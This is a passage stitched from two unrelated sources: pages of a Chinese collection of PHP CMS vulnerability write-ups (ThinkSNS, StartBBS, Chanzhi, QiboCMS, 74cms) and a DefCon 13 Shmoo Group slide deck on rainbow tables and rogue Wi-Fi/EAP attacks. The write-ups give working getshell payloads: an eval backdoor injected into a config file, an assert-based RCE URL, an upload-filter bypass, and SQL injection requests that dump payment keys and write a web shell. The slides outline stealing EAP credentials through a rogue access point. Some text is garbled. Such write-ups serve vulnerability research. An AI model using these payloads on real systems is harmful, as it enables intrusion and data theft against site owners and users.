tsload(CORE_LIB_PATH.'/Template.class.php');
tsload(CORE_LIB_PATH.'/TagLib.class.php');
tsload(CORE_LIB_PATH.'/TagLib/TagLibCx.class.php');
$tpl
=
Template::getInstance();
// 编译并加载模板文件
$tpl->load($templateFile,$tvar,$charset);//getshell
here!
}
... ...
}
分析下这个函数的逻辑：
首先判断模板文件是否存在，不存在则尝试加载默认模板文件，如果
加载失败就异常退出
其次如果模板文件存在，那么该文件是否缓存过，如果缓存过，那么
直接 include 缓存文件，在 include 前使用 extract 对模板变量赋值
如果模板没有缓存，是第一次被调用，那么就编译模板文件并加载它
在使用缓存的时候程序用 extract 对变量进行赋值，可以看到第二个
参数，EXTR_OVERWIRTE，表示如果某变量已经存在，那么就覆盖
这个变量。
下面看看非缓存情况下的处理：
- 168 -
\core\OpenSociax\Template.class.php load 函数
// 加载模板
public function
load($templateFile,$templateVar,$charset) {
$this->tVar = $templateVar;
$templateCacheFile
=
$this->loadTemplate($templateFile);
// 模板阵列变量分解成为独立变量
extract($templateVar, EXTR_OVERWRITE);
//载入模版缓存文件
include $templateCacheFile;
}
与缓存情况下相同，也是调用 extract 来覆盖变量，由于第二个参数
的使用，因此如果模板变量可控的话，我们可以覆盖任意变量。
可以覆盖$templateCacheFile 变量，这样变量覆盖就变成了任意文
件包含，并可 getshell.
上传一个 jpg，然后 include 之：
在 allow_url_include 为 on 下可以这样 getshell：
- 169 -
http://**.**.**.**/thinksns/index.php?app=public&mod
=Comment&act=reply&templateCacheFile=data:text/plain;
base64,PD9waHAgcGhwaW5mbygpOz8%2b
开源轻论坛 StartBBS 前台 getshell
作者：phith0n
心血来潮读读代码。StartBBS 界面挺清爽的，体积也小。下载下来安
装。
安装好后发现根目录下多了一个 install.lock，一般的 cms 为了防止
被重安装就会在目录下生成一个类似的文件，下次有人再访问安装脚
本的时候，脚本会检测，如果目录下有这个文件就提示“请删除后再安
装”。
原本应该是没有任何问题的。但我们来到安装脚本，/app/controller
s/install.php 中，查看它是怎么处理的：
class Install extends Install_Controller
{
function __construct ()
{
parent::__construct();
$this->load->library('myclass');
$file=FCPATH.'install.lock';
if (file_exists($file)){
- 170 -
$this->myclass->notice('alert("系统已安装过
");window.location.href="'.site_url().'";');
}
}
看到这里我就笑了。构造函数里检查是否存在 install.lock，然后
用 javascript 的方式告诉用户“系统已安装过”，然后跳转。但是这个
脚本根本还没有结束嘛，这个类里的函数都可以运行，并不因为返回
了一个 window.location.href 就停止运行。
（this->myclass->notice()中也没有停止运行的代码）
然后，在往下翻，就能看到安装的函数：
public function step($step)
{
$data['step']=$step;
if($step==1 || $step==2){
$data['permission'] =
$this->_checkFileRight();
$this->load->view('install',$data);
}
if($step==3){
$this->_install_do();
}
}
function _install_do()
{
$data['step']=3;
if($_POST){
$dbhost =
$this->input->post('dbhost');
$dbport =
$this->input->post('dbport');
- 171 -
$dbname =
$this->input->post('dbname');
$dbuser =
$this->input->post('dbuser');
$dbpwd =
$this->input->post('dbpwd')?$this->input->post('dbpw
d'):'';
$dbprefix =
$this->input->post('dbprefix');
$userid =
$this->input->post('admin');
$pwd =
md5($this->input->post('pwd'));
$email =
$this->input->post('email');
$sub_folder =
'/'.$this->input->post('base_url').'/';
$conn =
mysql_connect($dbhost.':'.$dbport,$dbuser,$dbpwd);
if (!$conn) {
die('无法连接到数
据库服务器，请检查用户名和密码是否正确');
}
if($this->input->post('creatdb')){
if(!@mysql_query('CREATE DATABASE IF NOT EXISTS
'.$dbname)){
die('指
定的数据库('.$dbname.')系统尝试创建失败，请通过其他方式建立数
据库');
}
}
- 172 -
if(!mysql_select_db($dbname,$conn)){
die($dbname.'数
据库不存在，请创建或检查数据名.');
}
$sql =
file_get_contents(FCPATH.'app/config/startbbs.sql');
$sql =
str_replace("sb_",$dbprefix,$sql);
$explode =
explode(";",$sql);
$data['msg1']="创建表".$dbname."成功，请稍
后……<br/>";
foreach
($explode as $key=>$value){
if(!empty($value)){
if(trim($value)){
mysql_query($va
}
}
}
$password =
$pwd;
$ip=$this->myclass->get_ip();
$insert=
"INSERT INTO ".$dbprefix."users
(group_type,gid,is_active,username,password,email,re
gtime,ip) VALUES
('0','1','1','".$userid."','".$password."','".$email.
"','".time()."','".$ip."')";
- 173 -
mysql_query($insert);
mysql_close($conn);
$data['msg2']="安装完成，正在保存配置文件，请稍
后……";
$dbconfig =
"<?php
if ( ! defined('BASEPATH')) exit('No direct
script access allowed');\n"
."\$active_group = 'default';\n"
."\$active_record = TRUE;\n"
."\$db['default']['hostname'] =
'".$dbhost."';\n"
."\$db['default']['port'] = '".$dbport."';\n"
."\$db['default']['username'] =
'".$dbuser."';\n"
."\$db['default']['password'] =
'".$dbpwd."';\n"
."\$db['default']['database'] =
'".$dbname."';\n"
."\$db['default']['dbdriver'] = 'mysql';\n"
."\$db['default']['dbprefix'] =
'".$dbprefix."';\n"
- 174 -
."\$db['default']['pconnect'] = TRUE;\n"
."\$db['default']['db_debug'] = TRUE;\n"
."\$db['default']['cache_on'] = FALSE;\n"
."\$db['default']['cachedir'] =
'app/cache';\n"
."\$db['default']['char_set'] = 'utf8';\n"
."\$db['default']['dbcollat'] =
'utf8_general_ci';\n"
."\$db['default']['swap_pre'] = '';\n"
."\$db['default']['autoinit'] = TRUE;\n"
."\$db['default']['stricton'] = FALSE;";
$file =
FCPATH.'/app/config/database.php';
file_put_contents($file,$dbconfig);
//保存 config 文
件
if($sub_folder){
$this->config->update('myconfig','sub_folder',
$sub_folder);
}
- 175 -
$encryption_key = md5(uniqid());
if($encryption_key){
$this->config->update('myconfig','encryption_
key', $encryption_key);
}
$data['msg3']="保存配置文件完成！";
touch(FCPATH.'install.lock');
$data['msg4']="创建锁定安装文件 install.lock 成功
";
$data['msg5']="安装 startbbs 成功！";
}
$this->load->view('install',$data);
}
当 step 函数的参数为 3 时，就执行安装函数_install_do()，这个函数里
初始化了数据库，并把数据库配置文件写入了
“/app/config/database.php”。于是，我们可以构造一下数据包直接把
一句话写入到这个配置文件里。
我们看到，这个函数接收了许多 post 数据：
$dbhost = $this->input->post('dbhost');
$dbport = $this->input->post('dbport');
$dbname = $this->input->post('dbname');
$dbuser = $this->input->post('dbuser');
- 176 -
$dbpwd =
$this->input->post('dbpwd')?$this->input->post('dbpwd'):'';
$dbprefix = $this->input->post('dbprefix');
$userid = $this->input->post('admin');
$pwd = md5($this->input->post('pwd'));
$email = $this->input->post('email');
$sub_folder = '/'.$this->input->post('base_url').'/';
其中 dbhost、dbport、dbname、dbuser、dbpwd 都不能随便乱写，
乱写的话安装就会出错，而 userid、pwd、email、sub_folder 都是写
入数据库的，不写入配置文件。所以就剩下 dbprefix 了，所以我们可以
这样构造这个字段：
dbprefix=sb_';@eval ($_POST[101]);$xxx='
蝉知企业门户系统 v2.5 前台 getshell
作者：roker
module/file/control.php
public function ajaxUpload($uid)
{
$file = $this->file->getUpload('imgFile');
$file = $file[0];
if($file)
{
if(!$this->file->checkSavePath())
$this->send(array('error' => 1, 'message' =>
$this->lang->file->errorUnwritable));
- 177 -
move_uploaded_file($file['tmpname'],
$this->file->savePath . $file['pathname']);
if(in_array(strtolower($file['extension']),
$this->config->file->imageExtensions) !== false)
{
$this->file->compressImage($this->file->savePath .
$file['pathname']);
$imageSize =
$this->file->getImageSize($this->file->savePath .
$file['pathname']);
$file['width']
= $imageSize['width'];
$file['height'] = $imageSize['height'];
}
$url =
$this->file->webPath .
$file['pathname'];
$file['addedBy']
=
$this->app->user->account;
$file['addedDate'] = helper::now();
$file['editor']
= 1;
unset($file['tmpname']);
$this->dao->insert(TABLE_FILE)->data($file)->exec();
$_SESSION['album'][$uid][] =
$this->dao->lastInsertID();
die(json_encode(array('error' => 0, 'url' =>
$url)));
}
}
这个上传文件的
跟到
- 178 -
public function getUpload($htmlTagName = 'files')
{
$files = array();
if(!isset($_FILES[$htmlTagName])) return
$files;
/* The tag if an array. */
if(is_array($_FILES[$htmlTagName]['name']))
{
extract($_FILES[$htmlTagName]);
foreach($name as $id => $filename)
{
if(empty($filename)) continue;
$file['extension'] =
$this->getExtension($filename);
继续跟进 getExtension 函数
public function getExtension($filename)
{
$extension = pathinfo($filename,
PATHINFO_EXTENSION);
if(empty($extension)) return 'txt';
if(strpos($this->config->file->dangers,
strtolower($extension)) !== false) return 'txt';
return $extension;
}
dangers 的值是
$config->file->dangers = 'php,jsp,py,rb,asp,'; //
Dangerous file types.
- 179 -
if(strpos($this->config->file->dangers, strtolower($extension))
!== false) return 'txt'
这句话逻辑有点问题，应该把 strpos 的两个参数位置替换下，
例如 我提交 a.php+空格的话 就能 绕过了
qibocms 分 类 系 统 最 新 版
前 台 无 限 制
Getshell
作者：雨
首先来看一下 inc/common.inc.php 中
isset($page) && $page = intval($page);
isset($id) && $id = intval($id);
- 180 -
isset($fup) && $aid = intval($fup);
isset($aid) && $aid = intval($aid);
isset($rid) && $rid = intval($rid);
isset($fid) && $fid = intval($fid);
isset($cid) && $cid = intval($cid);
isset($cityid) && $cityid = intval($cityid);
可以看到 city_id 在全局文件中被 intval 了。
再看到 search.php 中
$postdb[city_id]
&&
$city_id
=
$postdb[city_id
$postdb[street_id]
&&
$street_id
=
$postdb[street_
$postdb[zone_id]
&&
$zone_id
=
$postdb[zone_id
@include_once(ROOT_PATH."data/zone/$city_id.php");//
包含
$city_fid=select_where("{$_pre}city","'postdb[city_i
d]'
onChange=\"choose_where('getzone',this.options[this.
selectedIndex].value,'','1','')\"",$city_id);
全局有转义 截断不了
但是因为 qibo 的特殊性 在 qibo 的后台文件当中
function_exists('html') OR exit('ERR');
所以直接访问是不行的。
是这样判断的 所以我们就算不能截断 我们可以直接把后台的文件包含
进来 然后进而操作后台。
所以 qibo 在操作包含的文件中都用正则来过滤了, 却遗漏了这里。
- 181 -
但是打开 do/js.php 发现
<?php
error_reporting(0);
require(dirname(__FILE__)."/../data/config.php");
if(!eregi("^([0-9]+)$",$_GET['id'])){
die("document.write('ID 不存在');");
}
已经把 extract 去掉了, 那就找另外的。
在 admin/hack.php 中
if($hack&&ereg("^([a-z_0-9]+)$",$hack))
{
if(is_file(ROOT_PATH."hack/$hack/admin.php"))
{
include(ROOT_PATH."hack/$hack/admin.php");
}else{
showmsg("文件不存在");
}
}
再包含文件 再继续跟。
在 hack/jfadmin/admin.php 中
elseif($action=="addjf"&&$Apower[jfadmin_mod])
{
$db->query("INSERT INTO `{$pre}jfabout`
( `fid` , `title` , `content`, `list` ) VALUES ( '$fid',
'$title', '$content', '$list' )");
- 182 -
jump("添加成功
","index.php?lfj=jfadmin&job=listjf&fid=$fid",1);
}
这里入库了。
再看到 do/jf.php 中
$lfjdb && $lfjdb[money]=get_money($lfjdb[uid]);
$query = $db->query("SELECT * FROM {$pre}jfsort ORDER
BY list");
while($rs = $db->fetch_array($query)){
$fnameDB[$rs[fid]]=$rs[name];
$query2 = $db->query("SELECT * FROM
{$pre}jfabout WHERE fid='$rs[fid]' ORDER BY list");//
这里默认查的都是 1 所以入库的时候 fid 弄为 1
while($rs2 = $db->fetch_array($query2)){
eval("\$rs2[title]=\"$rs2[title]\";");//就
eval 了。
eval("\$rs2[content]=\"$rs2[content]\";");
$jfDB[$rs[fid]][]=$rs2;
}
}
准备写一句话的时候,却发现了
在 inc/common.inc.php 中
function Add_S($array){
foreach($array as $key=>$value){
@eregi("['\\\"]+",$key) && die('ERROR
KEY!');
if(!is_array($value)){
- 183 -
$value=str_replace("&#x","& #
x",$value);
//过滤一些不安全字符
$value=preg_replace("/eval/i","eva l",$value);
//过滤不安全函数
!get_magic_quotes_gpc() &&
$value=addslashes($value);
$array[$key]=$value;
}else{
$array[$key]=Add_S($array[$key]);
}
}
return $array;
}
把 eval 替换了,这样我们就用 assert 把。
http://web/new/fenlei/search.php?mid=1&action=search&key
word=asd&postdb[city_id]=../../admin/hack&hack=jfadmin&a
ction=addjf&Apower[jfadmin_mod]=1&fid=1&title=${@assert
($_POST[yu])}
http://web/new/fenlei/do/jf.php
POST：yu=phpinfo();
随便找了个测试了下
http://**.**.**.**/do/jf.php
- 184 -
漏洞组合
骑士漏洞组合可致所有数据泄露+getshell
作者：龟兔赛跑
刚下了个 74cms_v3.5.1_20141027.zip，diff 了一下发现了下面的改
动：
diff -Nurp upload.1020/plus/weixin.php
upload.1027/plus/weixin.php
--- upload.1020/plus/weixin.php
2014-10-18
12:14:22.000000000 +0800
+++ upload.1027/plus/weixin.php
2014-10-25
14:45:22.000000000 +0800
@@ -21,10 +21,10 @@ class wechatCallbackapiTest extends
mysq
}
public function responseMsg()
{
-
if(!$this->checkSignature())
- 185 -
-
{
-
exit();
-
}
+
// if(!$this->checkSignature())
+
// {
+
//
exit();
+
//
}
$postStr =
addslashes($GLOBALS["HTTP_RAW_POST_DATA"]);
if (!empty($postStr))
{
注释调了 checkSignature()，是为了啥？？？？？
http://**.**.**.**/bugs/wooyun-2014-075009 曾经分析过这里
的 XXE 漏洞以及 SQLI，不过，被次利用的是另外两个 BUG。
先看 code.
class wechatCallbackapiTest extends mysql
{
public function valid()
{
$echoStr = $_GET["echostr"];
if($this->checkSignature())
{
exit($echoStr);
}
}
public function responseMsg()
{
// if(!$this->checkSignature())
// {
//
exit();
//
}
- 186 -
$postStr =
addslashes($GLOBALS["HTTP_RAW_POST_DATA"]);
if (!empty($postStr))
{
//
libxml_disable_entity_loader(true);
$postObj = simplexml_load_string($postStr,
'SimpleXMLElement', LIBXML_NOCDATA);
$fromUsername = $postObj->FromUserName;
$toUsername = $postObj->ToUserName;
$keyword = trim($postObj->Content);
$keyword =
utf8_to_gbk($keyword);
$keyword =
addslashes($keyword);
$time = time();
$event = trim($postObj->Event);
if ($event === "subscribe")
{
$word=
"»ØžŽj·µ»ØœôŒ±ÕÐÆž£¬»ØžŽn·µ»Ø×îÐÂÕÐÆž£¡Äú¿ÉÒÔ³¢ÊÔÊäÈ
ëְλÃû³ÆÈç¡°»áŒÆ¡±£¬ÏµÍ³œ«»á·µ»ØÄúÒªÕÒµÄÐÅÏ¢£¬ÎÒÃÇÅ
¬ÁŠŽòÔì×îÈËÐÔ»¯µÄ·þÎñƜ̚£¬Ð»Ð»¹Ø×¢¡£";
$this->exit_word_message($word,$fromUsername,
$toUsername,$time);
}
$default_pic=ROOT."/data/images/".DEFAULT_PIC
;
$first_pic=ROOT."/data/images/".FIRST_PIC;
if($event === "CLICK"){
- 187 -
if($_CFG['weixin_apiopen']=='0')
{
$word="Íø՟΢ÐŜӿÚÒÑŸ¹Ø±Õ";
$this->exit_word_message($word,$fromUsername,
$toUsername,$time);
}
if($postObj->EventKey=="binding"){
$usinfo =
$this->get_user_info($fromUsername);
if(!empty($usinfo)){
$word="ÄúÒÑŸ°ó¶š¹ýÁË!";
}else{
$word="ÇëÊäÈëÄúµÄÕ˺ÅÃÜÂë.
ÀýÈç:ÕÅÈý/123456";
}
$this->exit_word_message($word,$fromUsername,
$toUsername,$time);
}
...
private function get_user_info($fromUsername){
$usinfo = array();
$usinfo_obj = $this->query("select *
from ".table('members')." where
weixin_openid='".$fromUsername."' limit 1");
while($row =
$this->fetch_array($usinfo_obj)){
- 188 -
$usinfo = $row;
}
return $usinfo;
}
$postStr = addslashes($GLOBALS["HTTP_RAW_POST_DATA"]);
对整个 POST_DATA 做了 addslashes。
$postObj = simplexml_load_string($postStr,
'SimpleXMLElement', LIBXML_NOCDATA);
$fromUsername = $postObj->FromUserName;
$usinfo = $this->get_user_info($fromUsername);
===>
$this->query("select * from ".table('members')." where
weixin_openid='".$fromUsername."' limit 1");
$fromUsername 从 simplexml_load_string()后就直接进入了 SQL
中，addslashes($GLOBALS["HTTP_RAW_POST_DATA"])就解决了
所有问题么？答案是否定的。因为 XML 中特殊字符也可以编码：
特殊字符 特殊含义 实体编码
> 开始标记 >
< 结束标记 <
" 引号 "
' 撇号 '
& 和号 &
也就是说在 XML 中使用&apos 就把'号注入进去了，并且这里 post data
没有任何过滤，可以注入任何 SQL 语句，所以我们可以导出整个数据库，
甚至 getshell.
- 189 -
看到下面的代码，也许有人会说，这里是有条件的，因为这里判断了
$_CFG['weixin_apiopen']=='0')。
if($event === "CLICK"){
if($_CFG['weixin_apiopen']=='0')
{
$word="Íø՟΢ÐŜӿÚÒÑŸ¹Ø±Õ";
$this->exit_word_message($word,$fromUsername,
$toUsername,$time);
}
不过，这里的$_CFG['weixin_apiopen']真的有效么？下面的代码可以
告诉我们：
<?php
$_CFG = 0;
class Test {
function myprint() {
echo "$_CFG in class=" . $_CFG;
}
}
echo "in file =" . $_CFG;
$tt = new Test();
$tt->myprint();
?>
在浏览器访问一下**.**.**.**:8081/74cms/test.php，结果为：
in file =0
Notice: Undefined variable: _CFG in
/var/www/html/74cms/test.php on line 7
- 190 -
Notice: Undefined variable: _CFG in
/var/www/html/74cms/test.php on line 7
in class=
也就是在 class object 里面访问$_CFG 是无效的。
那么，那么，
$_CFG['weixin_apiopen']=='0'
这个条件就是永远都不会成立的，不管你后台开不开 weixin_api。
好了，所有条件限制都排除了，可以直接注入了。
一下为 74cms_v3.5.1_20141027 默认安装测试：
POST
/74cms/plus/weixin.php?signature=da39a3ee5e6b4b0d325
5bfef95601890afd80709 HTTP/1.1
Content-Type: application/xml
User-Agent: http4e/5.0.12
Host: **.**.**.**:8081
Content-Length: 155
<xml>
<ToUserName>111</ToUserName>
<FromUserName>1111'</FromUserName>
<Content>2222</Content>
<Event>CLICK</Event>
<EventKey>binding</EventKey>
</xml>
UNION SELECT:
- 191 -
POST
/74cms/plus/weixin.php?signature=da39a3ee5e6b4b0d325
5bfef95601890afd80709 HTTP/1.1
Content-Type: application/xml
User-Agent: http4e/5.0.12
Host: **.**.**.**:8081
Content-Length: 226
<xml>
<ToUserName>111</ToUserName>
<FromUserName>1111' union select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,2
1,22#</FromUserName>
<Content>2222</Content>
<Event>CLICK</Event>
<EventKey>binding</EventKey>
</xml>
获取支付相关的 key：
POST
/74cms/plus/weixin.php?signature=da39a3ee5e6b4b0d325
5bfef95601890afd80709 HTTP/1.1
Content-Type: application/xml
User-Agent: http4e/5.0.12
Host: **.**.**.**:8081
Content-Length: 303
<xml>
<ToUserName>111</ToUserName>
<FromUserName>1111' union select (select
group_concat(id,0x7c,typename,0x7c,ytauthkey,0x5d)
from
- 192 -
qs_payment),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,
18,19,20,21,22#</FromUserName>
<Content>2222</Content>
<Event>CLICK</Event>
<EventKey>apply_jobs</EventKey>
</xml>
getshell:
POST
/74cms/plus/weixin.php?signature=da39a3ee5e6b4b0d325
5bfef95601890afd80709 HTTP/1.1
Content-Type: application/xml
User-Agent: http4e/5.0.12
Host: **.**.**.**:8081
Content-Length: 324
<xml>
<ToUserName>111</ToUserName>
<FromUserName>1111' union select
0x3C3F70687020706870696E666F28293B3F3E,2,3,4,5,6,7,8,
9,10,11,12,13,14,15,16,17,18,19,20,21,22 INTO OUTFILE
'/var/www/html/74cms/data/shell.php'
#</FromUserName>
<Content>2222</Content>
<Event>CLICK</Event>
<EventKey>binding</EventKey>
</xml>
这是因为写 shell.php 需要有写权限，data 目录不行。
但是，但是，我们也可以找一个肯定有写权限的目录：
注册一个普通用户，长传一个头像，这是会建立 0777 权限的目录：
'data/avatar/100/2014',shell 就传到这个目录吧。
- 193 -
POST
/74cms/plus/weixin.php?signature=da39a3ee5e6b4b0d325
5bfef95601890afd80709 HTTP/1.1
Content-Type: application/xml
User-Agent: http4e/5.0.12
Host: **.**.**.**:8081
Content-Length: 340
<xml>
<ToUserName>111</ToUserName>
<FromUserName>1111' union select
0x3C3F70687020706870696E666F28293B3F3E,2,3,4,5,6,7,8,
9,10,11,12,13,14,15,16,17,18,19,20,21,22 INTO OUTFILE
'/var/www/html/74cms/data/avatar/100/2014/shell.
php' #</FromUserName>
<Content>2222</Content>
<Event>CLICK</Event>
<EventKey>binding</EventKey>
</xml>
- 194 -
Dark' Evil
培训教材 | pdf |
DefCon 13
Shmoo-Fu: Hacker Goo,
Goofs, and Gear with the
Shmoo
The Shmoo Group
www.shmoo.com
DefCon 13
Stickers anyone?
DefCon 13
What's up Shmoo?
● Howdy & introductions...
● Our festivities will include:
– Super Spy Stuff
– IDN Fallout & Homograph Attacks
for Personal Identities
– Revving Up Rainbow Tables
– Rogue Squadron & EAP Peeking
– Shooting Your Security Wad
– Don't Try This at Home
– And MORE!
DefCon 13
Super Spy Stuff
● Robots got boring, so Pablos
starting hanging out with models
after his chic hacker photo shoot
in FHM.
● The result was nothing short of
spectacular, as the fashionable
cell-phone stowaway strifes hot
women face were finally
addressed.
DefCon 13
DefCon 13
And now...
Pablos.
DefCon 13
DefCon 13
3ricj?
DefCon 13
IDN Fallout
● At ShmooCon 2005, Eric
Johansen dropped the browser
bomb regarding IDN issues.
● The press ran with it a bit.
● The folks responsible for IDN
ranted for a bit.
● But did anything concrete occur?
● And where are we now?
DefCon 13
Dan Moniz goes crazy...
DefCon 13
rainbowtables.shmoo.com
● We think rainbow tables are neat.
● Just for fun, we started hosting
rainbow tables that we had
generated.
– LanMan
– Via Bittorrent
– FREE
● Some people liked that. Yay!
● Some people didn't...
DefCon 13
---------- Forwarded message ----------
From: Zhu Shuanglei <[email protected]>
Date: Mar 10, 2005 12:42 AM
Subject: About your shmoo site
To: [email protected]
Hi,
I am Zhu Shuanglei, the author of RainbowCrack software. I notice you are
offering free BitTorrent links on your website for the rainbow tables. For
those guys selling the table without permission from me, they are not welcome.
But you are worse.
As you may know, I develop the rainbowcrack tool and release it the the public
for free. I just want to introduce the technique to the world and those need it
can benifit from this software. If I sell the tables, I am only making some
money for my work and for the fee of hosting my website and for my computing
resource. This should be quite reasonable. I am not a business man, if I am
there will not be the source code or table generation tool free on the net and I
can make a lot of money.
Are you feeling you are cool "Because knowing all passwords is cooler than
trying to crack one. ;)". All over the world there will be a lot of guys can do
what you do, they aren't. Do you know why? To show off prove neither your
ability nor your knowledge.
If possible, please keep honour of my intellectual property of this software,
and let those need the tables to generate by themself. If everyone act like you
there will be no reason for me to develop this software further or develop
other useful software. Or I will never release anything useful to the public.
Don't be crazy any more!
Best Regards,
Zhu Shuanglei
DefCon 13
Revving Up Rainbow Tables
● So, badass LanMan tables are
online now via Bittorrent, and
still for FREE.
lm_alpha-numeric-symbol32-space.torrent
– Join the 43.9 GB torrent!!!
● Meanwhile, Dan decided to “be
crazy” a bit more.
● We don't need your stinkin' code,
Zhu!
● And Snax says, “FUCK OFF!”
DefCon 13
Unnamed Project
● Dan Moniz
● Rev. Dr. Patrick Stach
DefCon 13
Improving on
RainbowCrack
● We started out trying to optimize
RainbowCrack...
● But then we found out that it is
teh suck.
● So we changed our approach and
made a new tool.
● Doesn't have a name... yet.
DefCon 13
Problems with
RainbowCrack
● Reduction function bias
● If your keyspace is 6 valid inputs,
and you have 2^4 number of
outputs, the reduction that
RainbowCrack (slightly
simplified) does is:
(total num of outputs) mod (total num
of inputs) = bias marker
DefCon 13
Example of Reduction
Function Bias
0 mod 6 = 0
1 mod 6 = 1
2 mod 6 = 2
3 mod 6 = 3
4 mod 6 = 4
5 mod 6= 5
6 mod 6 = 0
7 mod 6 = 1
8 mod 6 = 2
9 mod 6 = 3
10 mod 6 = 4
11 mod 6 = 5
12 mod 6 = 0
13 mod 6 = 1
14 mod 6 = 2
15 mod 6 = 3
That's a lot of modulo
arithmetic. You'll notice
that there are 3 of every
value except 4 and 5.
We only have two of
those.
Say that LM had only 6
possible inputs. Say that
the algorithm (which in
LM is DES) has up to
2^4 outputs (16).
DefCon 13
Reduction Function Bias
Continued
● By taking an arbitrary random output
from the algorithm (we can assume that
the algorithm output is random) and
modulo it by 6, there's a better chance of
the input values being below the bias
marker than above.
● Values 0 to 3 have a better chance of
being picked at random due to this than
the 4-5 values as the next input.
DefCon 13
The Real Bias Problem
● This Riemann sum is not an integral
factor of 2^64 just as 6 is not an
integral factor of 16.
● This modulo arithmetic has a bias.
● You can assume the output of DES is
statistically random, or at least
random enough that the bias would
still be present.
DefCon 13
Why this matters
●
n = the floored result of (total num of outputs)/
(total num of inputs)
●
We'll add 1 if n is below the bias marker to
represent the extra chance it has due to the bias
●
(1+n)/(total num of outputs) = chance of hitting
any one given key out of the input range
●
n/(total num of outputs) = chance of hitting any
one given key out of the input range
●
Values below the bias marker are unfairly
weighted and are more likely to be inputs to the
rainbow chain generation!
DefCon 13
Our Generation Technique
(how we avoid bias)
● We start generating at the last
possible input and walk towards the
first input.
● As we generate we use a bitmask, so
we can determine if we have
computed the key or not. We have
100% verified keyspace because
everything is accounted for.
● At 1 bit per input it requires 768 GB of
disk space if we were to do it on one
machine.
DefCon 13
Our Badass Sorting-Fu
● We separate out anything less
than or equal to 6 characters. 7
character keyspace is one table,
5-6 keyspace is another
● We do this so that you can detect
the length of the password
● LanMan primer: take 14 bytes of
input and split it into two 7 byte
parts, hash them independently
DefCon 13
LanMan Hashing
Examples
● Say you have a password “dog”
dog = DOG\0\0\0\0\0\0\0\0\0\0
● Which goes to...
DOG\0\0\0\0 \0\0\0\0\0\0\0
● You can detect that the first half
is 7 characters or less because
the second half is the null
password hash.
DefCon 13
LanMan Hashing
Examples
● Now with a password of “spamdadrulz”...
spamdadrulz = SPAMDADRULZ\0\0\0
● Which goes to...
SPAMDAD RULZ\0\0\0
● You know that this hash is 7 characters
because the second half of the hash is not
the null password hash.
● This decreases the time spent looking
through worthless hash values!
DefCon 13
RainbowCrack Loses
● RainbowCrack just generates
random hashes.
● And has that reduction function
bias problem...
● Bad + Suck = l4m3x0r!!!
DefCon 13
We Get Our Crack On
● rtcrack reads in as much of the
hash table file that rtgen
generates using the read()
syscall.
● It walks linearly checking to see
if the endpoints match on the
rainbow chains.
● This has O(n) complexity.
DefCon 13
We Get Our Crack On
●
We store the start point and the endpoints in
separate files at corresponding offsets
●
Next we take the page size on x86 (4096 bytes)
divided by the entry size (8) plus 1 (for the index)
which equals 513
●
So every 513th entry, after we've sorted them
lowest to highest, is stored in a special index file
●
At crack time, we mmap() the endpoint index file,
and use divide and conquer (Fibonacci find) to
find out if the endpoint is in this index file, or, if
it's not, to which offset the endpoint is referenced
in the master index file
DefCon 13
We Get Our Search On
● Thus, for each offset it has to
read a max of one page of
memory off of disk
● 4096 bytes read to check 512
entries
● This is Bayes trees, modified
● Patrick has a Doctorate of
Divinity in Searching and Sorting
from the Church of Knuth
DefCon 13
RainbowCrack Gets An L
For Lame
● Disk I/O costs as much CPU time
as encryption in RainbowCrack, if
not more.
● RainbowCrack fails to account for
this in their statistics.
DefCon 13
The Seekret Sauce
● Our code is implemented in C and
assembly for the IA64 (Itanium2)
and running on a classified
number of processors.
● Thanks to SGI!
● We also have the generator
implemented in VHDL to run as
custom specialized hardware to
run on Spartan-3 FPGAs.
DefCon 13
New Wi-Fi kung-fu from
Beetle...
DefCon 13
Why oh why do we Wi-Fi?
● Who here has an open wireless
network at home? At work?
● Crap! My Tivo can't do WPA.
Neither can my PSP. Ummm...
does it matter?
● When and where should we Wi-
Fi?
– Coffee Shops? Airports? Hospitals?
Banks? Ummm... Nuclear Power
Plants?
DefCon 13
DefCon 13
DefCon 13
Where did we go wrong?
Where are we going?
● Technology of convenience versus
the inconvenience of securing it.
● The poor, poor users were left out
in the authentication cold.
● Half-ass security standards pass
the buck and / or provide defacto
insecure options.
● Security acronyms have taken
precedence over proper
implementation.
DefCon 13
DefCon 13
DefCon 13
How the FUCK does the
user know?!
DefCon 13
Access Point
SSID: “goodguy”
SSID: “badguy”
Stronger or Closer
Access Point
“ANY”
Wi-Fi Card
SSID:
“goodguy”
“badguy”
DefCon 13
Rogue AP Attacks
Normal
Gear @
25mW
(14dBm)
Cisco Gear @
100mW
(20dBm)
Senao Gear @
200mW
(23dBm)
Use a 15dBd
antenna with a
Senao for
38dBd total...
6 WATTS!
VS 25mW?
BAD GUY
WINS! NO
CONTEST!
Choose your Wi-Fi
weapon...
DefCon 13
DefCon 13
DefCon 13
DefCon 13
Rogue APs won't go away...
● Users will be users, and they WILL
fall for access point
“impersonators”.
● If you didn't notice, phishing and
identity theft are on the rise... and
so is hotspot usage.
● “Extra” wireless client profiles
provide extra avenues of attack.
● EAP is an acronym, not a catch-all.
● Gartner can blow us.
DefCon 13
Rogue RADIUS
● Who says rogue APs can't be used
against corporate wireless
networks?
● There are plenty of ways to screw
up EAP.
● FreeRADIUS provides a simple &
easy way to accept EAP
credentials
– Integrates nicely with hostapd.
● Can allow for “EAP Peeking”...
DefCon 13
EAP
Authentication
Server
Supplicant
Wireless
Wired
Authenticator
EAPOL-Start
EAP-Request / Identity
EAP-Response / Identity
EAP-Response / Identity
EAP-Request
EAP-Request
EAP-Response
EAP-Request
EAP-Success
EAP-Success & Key
EAP-Key
DefCon 13
EAP-TTLS
Authentication Server
w/ Certificate
Supplicant
Wireless
Wired
Authenticator
EAP-Success
EAP-Success & Key
EAP-Key
802.11 Authentication &
Association
802.1x EAP Protocol Exchange
802.1x EAP-TTLS Protocol Exchange
Secure Tunnel Established
User Credentials Exchanged
DefCon 13
EAP-TTLS Weakness
Authentication Server
w/ Certificate
Supplicant
Authenticator
802.1x EAP Protocol Exchange
802.1x EAP-TTLS Protocol Exchange
Secure Tunnel Established w/o Remote Certificate Check?
User Credentials Given Up?
Previous EAP-TTLS
Authentication Established
Rogue AP +
RADIUS
DISASSOCIATED!
802.11 Authentication &
Association
DefCon 13
2. Learn username &
password.
EAP-TTLS w/
PAP
Attack?
RADIUS
Server
Windows XP
w/ SP2
Wireless
Wired
EAP-TTLS w/ PAP
over TLS
Rogue AP w/
Rogue RADIUS
Server
1. Disassociate users.
3. Disassociate, copy creds
to local EAP config.
4. Impersonate victim with
legit username & password
whenever.
